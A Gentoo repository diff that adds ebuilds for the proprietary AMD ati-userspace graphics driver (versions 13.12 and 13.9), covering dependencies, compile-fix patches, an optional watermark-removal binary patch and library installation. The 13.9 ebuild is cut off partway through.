-EBUILD ati-userspace-11.9.ebuild 12248 SHA256 3e31c77d138ae1c1fcee0984f50dfd801816e57945af8a53b134c45da9ba3273 SHA512 3ad402cfb8fcdf243ecf7c2fe3e91a23aaa89dec17a42aef78768efcd7edf570a3cf226ffa8d4e89c670a2428669fb01bb712a090784d14df60c3edc5ea30a45 WHIRLPOOL 2f0f6a1f7c372ebe51c832c9ec04bba8fc08f48e103e949c2fd53b96b880c758289fccfba3fb7348f0419de0642e1c4046642662258b16189e00a3c8e9a0ae22
-EBUILD ati-userspace-12.1-r1.ebuild 12946 SHA256 cc51e10c26ec57f8399ebf20f39d0c0eaa1fbb34afb5c02d2e1f51835bfbdf43 SHA512 bb73937dd1287c4d359caebf9b1646bacd57e69d539220dc3971a0d7c7525795dc07b1b77eecd363d2e9cb6ba16a1db29f7c7b58f18d272053e5792a6a08f8a6 WHIRLPOOL 724ea9b5e3493aaa820fc4fe9c134e27a3198e05dcd178a92da249d5205c1164a45ba43f2a02c48cc6f4afd29a129ac1f81e6cd3e1c220d0d8770f761092ed3d
-EBUILD ati-userspace-12.10.ebuild 13651 SHA256 77f0538fa3ad51a69c3c1d832a2c97b7057b4cb9440860dd8def788277629cf3 SHA512 8fdc8fee7d86c14e5856a6532858a7ff8f5c6ebaebb77625ae5a4e8e8943b3089232b830eb7ae11b722d79c9ddd309d7e7fbef511293cacfc47e89fd09d508ce WHIRLPOOL d8f583a3c714d158da4c1671b0ece3926d0ead7d4e7073dfcf69a3199ed33d775a162380c7fb1fd8c5ea737598bb74442c328932da6ee683bff015302a82a6a7
-EBUILD ati-userspace-12.2.ebuild 12956 SHA256 2f139619c3b0b5c8fbc96a1d498cd4d397e6cb07f6e8a4947a4f0f53cfe729af SHA512 82f13dba5644cf1902b039a98ba03cd28b6886a115286728490c56f12c7d6612d4404c8e53cea68f4a3ed37f4c213dba97077468a3685cbb3edde00c2e658a4b WHIRLPOOL 22e1583d5471cc3cff01a22ec417df249b790e7b3268b676f6f5a7eb743c4e80b3d67348f79fd7b98a8813b348667ad1dd7aba226a0d401457ec738ca72104d4
-EBUILD ati-userspace-12.3.ebuild 13069 SHA256 2a4b17bd81ae4a92e07a8194230157c05f016fb9bbc4ef971b4c6a0724356f08 SHA512 8ca699d5a0fc202324758419ddd20cd6c7cdfe201b3ff440781ec6d7687057ab582779fd0626e194f6ba2d6ba412b197092bb98d4189a54739486a8c1fdda42f WHIRLPOOL 8ea5c455498fa15538f30840b51cc4fefa8df4fa27c4c5144088448a56c35f2834970244431638dd0a390bf291f70692cbc3a74ea435fecd5afbec7eaca00250
-EBUILD ati-userspace-12.4.ebuild 13069 SHA256 2a4b17bd81ae4a92e07a8194230157c05f016fb9bbc4ef971b4c6a0724356f08 SHA512 8ca699d5a0fc202324758419ddd20cd6c7cdfe201b3ff440781ec6d7687057ab582779fd0626e194f6ba2d6ba412b197092bb98d4189a54739486a8c1fdda42f WHIRLPOOL 8ea5c455498fa15538f30840b51cc4fefa8df4fa27c4c5144088448a56c35f2834970244431638dd0a390bf291f70692cbc3a74ea435fecd5afbec7eaca00250
-EBUILD ati-userspace-12.6.ebuild 13587 SHA256 1597a0dff6118a2c843612064c10a094fd3fd8fec54cac3965e48cc4b398ac94 SHA512 e8bd9e520eaccac0ed9033f7f43263efde627ebc56d567f9a7c83b615231b2b3bc949ce1bc0511c8fc41b4322ac17d864e47ae1ac176a2b0c2935f2d4cdababf WHIRLPOOL f79371d4d4d515ff32455858513cedbd7bd164e15bf82a1c27732808410ecae0599d8b70cf0d0115984958c74fea4c149fd804e69032eefc8a7346f5cc946e9f
-EBUILD ati-userspace-12.6_beta_pre897.ebuild 13630 SHA256 f9785fcebeeba1d4c9cc5efcd033267d86488cafe9c52d3f2dbf85d30fc8863f SHA512 6c69e081d93484c5e97590976e815f1f589c34095f2c2fc9268a75ae23dc7c8c6476c52af04ecaf64668bbc99055095f58d4741c59a6a8d41d3eeff16807b48a WHIRLPOOL cc7622637493300f61b6d648cc1fe502b9fcf78d9a50b5547a45aeeabeb07bffcd323139de237cce9079a4f4b34c5940cd0a0a4ada1b987db28c61932a2b2c2a
-EBUILD ati-userspace-12.8.ebuild 13535 SHA256 e9b7219aa54947e7def64a4a6ecb92d75ac6d3d8c0f2c96fb77ff7f2b35a2072 SHA512 95750fa9c5005c209f1489c99c6dfcdbf87decd4ba075822f6006dde29f27d8c473f7dd2ea3f92a7584142e2c9492fbd02471bf7d939322eff1f6b1e87a2f109 WHIRLPOOL 8e2b08f65c0d0e78c9b661b98eeb212ed9f0ab2cd501890bba2dc55362392a209f76f280761bd08e5d2d98572dd5753987737497cbe33a7d657c5bf45bcccfeb
-EBUILD ati-userspace-13.1.ebuild 15655 SHA256 8e3258c7d020ae22444159176076be1efb7f0719b53d1ffa188e38e0255862d7 SHA512 3057cb158f5268f0b1e60e4237519762de9d6d1ee682d73c0ba9d2e63196f6fc3633accff84c8384a078395a3571a0cfb7c31611308f838e366b9fc7dc8e80ee WHIRLPOOL 84be01a881793efe7a9376895a8dbc748233db99c89811bcbf6d33a4131a9c8b3dfaaa96a9d08340ac5f47cc114794491e1bda9e0af06101da6b9e33347c988d
-EBUILD ati-userspace-13.4.ebuild 15983 SHA256 59682a2bf9df19da0ea6d7a41706f501ec50afa7433bcfb61009f612692020dd SHA512 e3e2d18c8bdeec66cdfc307ce506d7bed51e676ab00a4eec5c098ac384e2c25bfb74ac9f9d15bcb8a3992643d0089b664c407d9f11e0ed7756078dd00d0d6219 WHIRLPOOL 1d7fa1cf20ff6e6264a83f438cdc5fed4ce1983f3785ca2d714ba97a22cc80df6158b500b6e9b8114c9a966a2e9e2b659ead4e8c43abb5cac3b46f92105dc8db
diff --git a/x11-drivers/ati-userspace/ati-userspace-13.12.ebuild b/x11-drivers/ati-userspace/ati-userspace-13.12.ebuild
new file mode 100644
index 00000000..e469d09d
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-13.12.ebuild
@@ -0,0 +1,501 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs versionator pax-utils
+
+DESCRIPTION="Ati precompiled drivers for Radeon Evergreen (HD5000 Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+#RUN="${WORKDIR}/amd-catalyst-13.11-beta1-linux-x86.x86_64.run"
+SLOT="1"
+# Uses javascript for download YESSSS
+#DRIVERS_URI="http://www2.ati.com/drivers/linux/amd-catalyst-13.12-linux-x86.x86_64.zip"
+DRIVERS_URI="http://dev.gentooexperimental.org/~scarabeus/amd-catalyst-13.12-linux-x86.x86_64.zip"
+XVBA_SDK_URI="http://developer.amd.com/wordpress/media/2012/10/xvba-sdk-0.74-404001.tar.gz"
+SRC_URI="${DRIVERS_URI} ${XVBA_SDK_URI}"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib static-libs +disable-watermark pax_kernel"
+
+LICENSE="AMD GPL-2 QPL-1.0"
+KEYWORDS="-* ~amd64 ~x86"
+RESTRICT="bindist test"
+
+# Note: do not add !>ati-userspace-ver or !<ati-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="<=x11-base/xorg-server-1.14.49[-minimal]
+ !x11-drivers/ati-drivers:0
+ !x11-apps/ati-drivers-extra
+ >=app-admin/eselect-opengl-1.0.7
+ app-admin/eselect-opencl
+ sys-power/acpid
+ x11-apps/xauth
+ x11-libs/libX11
+ x11-libs/libXext
+ x11-libs/libXinerama
+ x11-libs/libXrandr
+ x11-libs/libXrender
+ x-multilib? (
+ app-emulation/emul-linux-x86-opengl
+ app-emulation/emul-linux-x86-xlibs
+ )"
+
+DEPEND="${RDEPEND}
+ x11-proto/inputproto
+ x11-proto/xf86miscproto
+ x11-proto/xf86vidmodeproto
+ x11-proto/xineramaproto
+ x11-libs/libXtst
+ sys-apps/findutils
+ app-misc/pax-utils
+ app-arch/unzip
+"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+ usr/lib*/opengl/ati/lib/libGL.so.1.2
+ usr/lib*/libatiadlxx.so
+ usr/lib*/xorg/modules/glesx.so
+ usr/lib*/libaticaldd.so
+ usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+ opt/bin/atiode
+ opt/bin/amdcccle
+ usr/lib*/opengl/ati/lib/libGL.so.1.2
+ usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+ usr/lib*/opengl/ati/lib/libGL.so.1.2
+ usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+ usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+ usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+ usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+ usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+ usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+ usr/lib\(32\|64\)\?/libaticaldd.so
+ usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+ usr/lib\(32\|64\)\?/libatiadlxx.so
+ usr/lib\(32\|64\)\?/libaticalcl.so
+ usr/lib\(32\|64\)\?/libaticaldd.so
+ usr/lib\(32\|64\)\?/libaticalrt.so
+ usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+ opt/bin/amdcccle
+ opt/bin/aticonfig
+ opt/bin/atiodcli
+ opt/bin/atiode
+ opt/bin/clinfo
+ opt/bin/fglrxinfo
+ opt/sbin/atieventsd
+ opt/sbin/amdnotifyui
+ usr/lib\(32\|64\)\?/libaticalcl.so
+ usr/lib\(32\|64\)\?/libaticalrt.so
+ usr/lib\(32\|64\)\?/libatiuki.so.1.0
+ usr/lib\(32\|64\)\?/libatiadlxx.so
+ usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+ usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+ usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+ usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+ usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+ usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+ usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+ usr/lib\(32\|64\)\?/libaticaldd.so
+ usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+ usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+ usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+ usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+ usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+ usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+ usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+ # get the xorg-server version and set BASE_DIR for that
+ BASE_DIR="${S}/xpic"
+
+ # amd64/x86
+ if use amd64 ; then
+ MY_BASE_DIR="${BASE_DIR}_64a"
+ PKG_LIBDIR=lib64
+ ARCH_DIR="${S}/arch/x86_64"
+ else
+ MY_BASE_DIR="${BASE_DIR}"
+ PKG_LIBDIR=lib
+ ARCH_DIR="${S}/arch/x86"
+ fi
+
+ elog
+ elog "Please note that this driver only supports graphic cards based on"
+ elog "Evergreen chipset and newer."
+ elog "This includes the AMD Radeon HD 5400+ series at this moment."
+ elog
+ elog "If your card is older then use ${CATEGORY}/xf86-video-ati"
+ elog "For migration information please refer to:"
+ elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+ einfo
+}
+
+src_unpack() {
+ local DRIVERS_DISTFILE XVBA_SDK_DISTFILE
+ DRIVERS_DISTFILE=${DRIVERS_URI##*/}
+ XVBA_SDK_DISTFILE=${XVBA_SDK_URI##*/}
+
+ if [[ ${DRIVERS_DISTFILE} =~ .*\.tar\.gz ]]; then
+ unpack ${DRIVERS_DISTFILE}
+ else
+ #please note, RUN may be insanely assigned at top near SRC_URI
+ if [[ ${DRIVERS_DISTFILE} =~ .*\.zip ]]; then
+ unpack ${DRIVERS_DISTFILE}
+ [[ -z "$RUN" ]] && RUN="${S}/${DRIVERS_DISTFILE/%.zip/.run}"
+ else
+ RUN="${DISTDIR}/${DRIVERS_DISTFILE}"
+ fi
+ sh "${RUN}" --extract "${S}" 2>&1 > /dev/null || die
+ fi
+
+ mkdir xvba_sdk
+ cd xvba_sdk
+ unpack ${XVBA_SDK_DISTFILE}
+}
+
+src_prepare() {
+ # These are the userspace utilities that we also have source for.
+ # We rebuild these later.
+ rm \
+ "${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+ || die "bin rm failed"
+
+ # amdcccle is shipped separately
+ rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+ # ACPI fixups
+ sed -i \
+ -e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+ -e "s:/var/lib/gdm/:/var/gdm/:" \
+ "${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+ || die "sed failed."
+
+ # Since "who" is in coreutils, we're using that one instead of "finger".
+ sed -i -e 's:finger:who:' \
+ "${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+ || die "Replacing 'finger' with 'who' failed."
+ # Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+ # add function to detect default state.
+ epatch "${FILESDIR}"/ati-powermode-opt-path-3.patch
+
+ # see http://ati.cchtml.com/show_bug.cgi?id=495
+ #epatch "${FILESDIR}"/ati-drivers-old_rsp.patch
+ # first hunk applied upstream second (x32 related) was not
+ epatch "${FILESDIR}"/ati-drivers-x32_something_something.patch
+
+ # compile fix for AGP-less kernel, bug #435322
+ epatch "${FILESDIR}"/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
+
+ # Compile fix for kernel typesafe uid types #469160
+ epatch "${FILESDIR}/typesafe-kuid.diff"
+
+ epatch "${FILESDIR}/ati-drivers-13.8-beta-include-seq_file.patch"
+
+ epatch "${FILESDIR}/check-for-iommu-only-if-iommu-is-supported.patch"
+
+ # Mesa 9.2 compatibility. This is a hack, has_version shouldn't be
+ # used this way. But it seems to work because only fgl_glxinfo is
+ # affected
+ if has_version ">=media-libs/mesa-9.2"; then
+ epatch "${FILESDIR}/ati-drivers-13.8-mesa-9.2-debug.patch"
+ fi
+
+ # Fix build on new kernels
+ epatch "${FILESDIR}/ati-drivers-13.12-acpi.patch"
+
+ # Compile fix, https://bugs.gentoo.org/show_bug.cgi?id=454870
+ use pax_kernel && epatch "${FILESDIR}/const-notifier-block.patch"
+
+ cd "${S}"
+ mkdir extra || die "mkdir extra failed"
+ cd extra
+ unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+
+ # Get rid of watermark. Oldest known reference:
+ # http://phoronix.com/forums/showthread.php?19875-Unsupported-Hardware-watermark
+ if use disable-watermark; then
+ ebegin "Disabling watermark"
+ driver="${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+ for x in $(objdump -d ${driver}|awk '/call/&&/EnableLogo/{print "\\x"$2"\\x"$3"\\x"$4"\\x"$5"\\x"$6}'); do
+ sed -i "s/${x/x5b/\x5b}/\x90\x90\x90\x90\x90/g" ${driver} || break 1
+ done
+ eend $? || die "Disabling watermark failed"
+ fi
+}
+
+src_compile() {
+ ebegin "Building fgl_glxgears"
+ cd "${S}"/extra/fgl_glxgears
+ # These extra libs/utils either have an Imakefile that does not
+ # work very well without tweaking or a Makefile ignoring CFLAGS
+ # and the like. We bypass those.
+ # The -DUSE_GLU is needed to compile using nvidia headers
+ # according to a comment in ati-drivers-extra-8.33.6.ebuild.
+ "$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+ -I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+ -lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+ eend $?
+}
+
+src_test() { :; } # no tests present
+
+src_install() {
+ # We can do two things here, and neither of them is very nice.
+
+ # For direct rendering libGL has to be able to load one or more
+ # dri modules (files ending in _dri.so, like fglrx_dri.so).
+ # Gentoo's mesa looks for these files in the location specified by
+ # LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+ # location /usr/$(get_libdir)/dri. Ati's libGL does the same
+ # thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+ # on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+ # 64bit. So we can either put the .so files in that (unusual,
+ # compared to "normal" mesa libGL) location or set
+ # LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+ # 101539.
+
+ # The problem with this approach is that LIBGL_DRIVERS_PATH
+ # *overrides* the default hardcoded location, it does not extend
+ # it. So if ati-drivers is merged but a non-ati libGL is selected
+ # and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+ # (because it changed in a newer mesa or because it was compiled
+ # for a different set of multilib abis than we are) stuff breaks.
+
+ # We create one file per ABI to work with "native" multilib, see
+ # below.
+
+ echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+ doenvd "${T}/03ati-colon-sep" || die
+
+ # All libraries that we have a 32 bit and 64 bit version of on
+ # amd64 are installed in src_install-libs. Everything else
+ # (including libraries only available in native 64bit on amd64)
+ # goes in here.
+
+ # There used to be some code here that tried to detect running
+ # under a "native multilib" portage ((precursor of)
+ # http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+ # should just work (only doing some duplicate work). --marienz
+ if has_multilib_profile && use multilib; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis); do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ # This is sorted by the order the files occur in the source tree.
+
+ # X modules.
+ exeinto /usr/$(get_libdir)/xorg/modules/drivers
+ doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+ exeinto /usr/$(get_libdir)/xorg/modules/linux
+ doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+ exeinto /usr/$(get_libdir)/xorg/modules
+ doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+ # Arch-specific files.
+ # (s)bin.
+ into /opt
+ dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+ dobin "${ARCH_DIR}"/usr/bin/clinfo
+ # We cleaned out the compilable stuff in src_unpack
+ dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+ # Common files.
+ # etc.
+ insinto /etc/ati
+ exeinto /etc/ati
+ # Everything except for the authatieventsd.sh script.
+ doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+ doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+ # include.
+ insinto /usr
+ doins -r ${FOLDER_PREFIX}usr/include
+ insinto /usr/include/X11/extensions
+
+ # Just the atigetsysteminfo.sh script.
+ into /usr
+ dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+ # doc.
+ dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+ doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+ pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+ exeinto /etc/acpi
+ doexe ati-powermode.sh
+ insinto /etc/acpi/events
+ doins events/*
+
+ popd > /dev/null
+
+ # Done with the "source" tree. Install tools we rebuilt:
+ dobin extra/fgl_glxgears/fgl_glxgears
+ newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+ # Gentoo-specific stuff:
+ newinitd "${FILESDIR}"/atieventsd.init atieventsd
+ echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+ newconfd "${T}"/atieventsd.conf atieventsd
+
+ # PowerXpress stuff
+ exeinto /usr/$(get_libdir)/fglrx
+ doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+ cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+ doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+ if [[ "${ABI}" == "amd64" ]]; then
+ local EX_BASE_DIR="${BASE_DIR}_64a"
+ local pkglibdir=lib64
+ local MY_ARCH_DIR="${S}/arch/x86_64"
+ local oclsuffix=64
+ else
+ local EX_BASE_DIR="${BASE_DIR}"
+ local pkglibdir=lib
+ local MY_ARCH_DIR="${S}/arch/x86"
+ local oclsuffix=32
+ fi
+ einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+ local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+ # To make sure we do not miss a spot when these change.
+ local libmajor=1 libminor=2
+ local libver=${libmajor}.${libminor}
+
+ # The GLX libraries
+ # (yes, this really is "lib" even on amd64/multilib --marienz)
+ exeinto ${ATI_ROOT}/lib
+ newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+ libGL.so.${libver}
+ dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+ dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+ exeinto ${ATI_ROOT}/extensions
+ doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+ mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+ # other libs
+ exeinto /usr/$(get_libdir)
+ # Everything except for the libGL.so installed some row above
+ doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+ -maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+ insinto /usr/$(get_libdir)
+ doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+ -maxdepth 1 -type f -not -name '*.so*')
+
+ # DRI modules, installed into the path used by recent versions of mesa.
+ exeinto /usr/$(get_libdir)/dri
+ doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+ # AMD Cal and OpenCL libraries
+ exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+ doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+ doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+ dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+ exeinto /usr/$(get_libdir)
+ doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+ # OpenCL vendor files
+ insinto /etc/OpenCL/vendors/
+ cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+ /usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+ EOF
+ doins "${T}"/amdocl${oclsuffix}.icd
+
+ local envname="${T}"/04ati-dri-path
+ if [[ -n ${ABI} ]]; then
+ envname="${envname}-${ABI}"
+ fi
+ echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+ doenvd "${envname}"
+
+ # Silence the QA notice by creating missing soname symlinks
+ for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+ do
+ local soname=${so##*/}
+ local soname_one=${soname%.[0-9]}
+ local soname_zero=${soname_one%.[0-9]}
+ dosym ${soname} /usr/$(get_libdir)/${soname_one}
+ dosym ${soname_one} /usr/$(get_libdir)/${soname_zero}
+ done
+
+ # See https://bugs.gentoo.org/show_bug.cgi?id=443466
+ dodir /etc/revdep-rebuild/
+ echo "SEARCH_DIRS_MASK=\"/opt/bin/clinfo\"" > "${ED}/etc/revdep-rebuild/62-ati-drivers"
+
+ #remove static libs if not wanted
+ use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+
+ #install xvba sdk headers
+ doheader xvba_sdk/include/amdxvba.h
+
+ if use pax_kernel; then
+ pax-mark m "${D}"/usr/lib*/opengl/ati/lib/libGL.so.1.2 || die "pax-mark failed"
+ fi
+}
+
+pkg_postinst() {
+ elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+ elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+ elog
+ elog "If you experience unexplained segmentation faults and kernel crashes"
+ elog "with this driver and multi-threaded applications such as wine,"
+ elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+ elog
+ elog "Fully rebooting the system after an ${PN} update is recommended"
+ elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+ elog "might not work"
+ elog
+ elog "Some cards need acpid running to handle events"
+ elog "Please add it to boot runlevel with rc-update add acpid boot"
+ elog
+
+ "${ROOT}"/usr/bin/eselect opengl set --use-old ati
+ "${ROOT}"/usr/bin/eselect opencl set --use-old amd
+
+ if has_version "x11-drivers/xf86-video-intel[sna]"; then
+ ewarn "It is reported that xf86-video-intel built with USE=\"sna\" causes the X server"
+ ewarn "to crash on systems that use hybrid AMD/Intel graphics. If you experience"
+ ewarn "this crash, downgrade to xf86-video-intel-2.20.2 or earlier or"
+ ewarn "try disabling sna for xf86-video-intel."
+ ewarn "For details, see https://bugs.gentoo.org/show_bug.cgi?id=430000"
+ fi
+}
+
+pkg_prerm() {
+ "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-13.9.ebuild b/x11-drivers/ati-userspace/ati-userspace-13.9.ebuild
new file mode 100644
index 00000000..bc8229dc
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-13.9.ebuild
@@ -0,0 +1,494 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs versionator pax-utils
+
+DESCRIPTION="Ati precompiled drivers for Radeon Evergreen (HD5000 Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+#RUN="${WORKDIR}/amd-driver-installer-9.00-x86.x86_64.run"
+SLOT="1"
+DRIVERS_URI="https://www2.ati.com/drivers/linux/amd-catalyst-13.9-linux-x86.x86_64.zip"
+XVBA_SDK_URI="http://developer.amd.com/wordpress/media/2012/10/xvba-sdk-0.74-404001.tar.gz"
+SRC_URI="${DRIVERS_URI} ${XVBA_SDK_URI}"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib static-libs +disable-watermark pax_kernel"
+
+LICENSE="AMD GPL-2 QPL-1.0"
+KEYWORDS="-* ~amd64 ~x86"
+RESTRICT="bindist test"
+
+# Note: do not add !>ati-userspace-ver or !<ati-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="<=x11-base/xorg-server-1.14.49[-minimal]
+ !x11-drivers/ati-drivers:0
+ !x11-apps/ati-drivers-extra
+ >=app-admin/eselect-opengl-1.0.7
+ app-admin/eselect-opencl
+ sys-power/acpid
+ x11-apps/xauth
+ x11-libs/libX11
+ x11-libs/libXext
+ x11-libs/libXinerama
+ x11-libs/libXrandr
+ x11-libs/libXrender
+ x-multilib? (
+ app-emulation/emul-linux-x86-opengl
+ app-emulation/emul-linux-x86-xlibs
+ )"
+
+DEPEND="${RDEPEND}
+ x11-proto/inputproto
+ x11-proto/xf86miscproto
+ x11-proto/xf86vidmodeproto
+ x11-proto/xineramaproto
+ x11-libs/libXtst
+ sys-apps/findutils
+ app-misc/pax-utils
+ app-arch/unzip
+"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+ usr/lib*/opengl/ati/lib/libGL.so.1.2
+ usr/lib*/libatiadlxx.so
+ usr/lib*/xorg/modules/glesx.so
+ usr/lib*/libaticaldd.so
+ usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+ opt/bin/atiode
+ opt/bin/amdcccle
+ usr/lib*/opengl/ati/lib/libGL.so.1.2
+ usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+ usr/lib*/opengl/ati/lib/libGL.so.1.2
+ usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+ usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+ usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+ usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+ usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+ usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+ usr/lib\(32\|64\)\?/libaticaldd.so
+ usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+ usr/lib\(32\|64\)\?/libatiadlxx.so
+ usr/lib\(32\|64\)\?/libaticalcl.so
+ usr/lib\(32\|64\)\?/libaticaldd.so
+ usr/lib\(32\|64\)\?/libaticalrt.so
+ usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+ opt/bin/amdcccle
+ opt/bin/aticonfig
+ opt/bin/atiodcli
+ opt/bin/atiode
+ opt/bin/clinfo
+ opt/bin/fglrxinfo
+ opt/sbin/atieventsd
+ opt/sbin/amdnotifyui
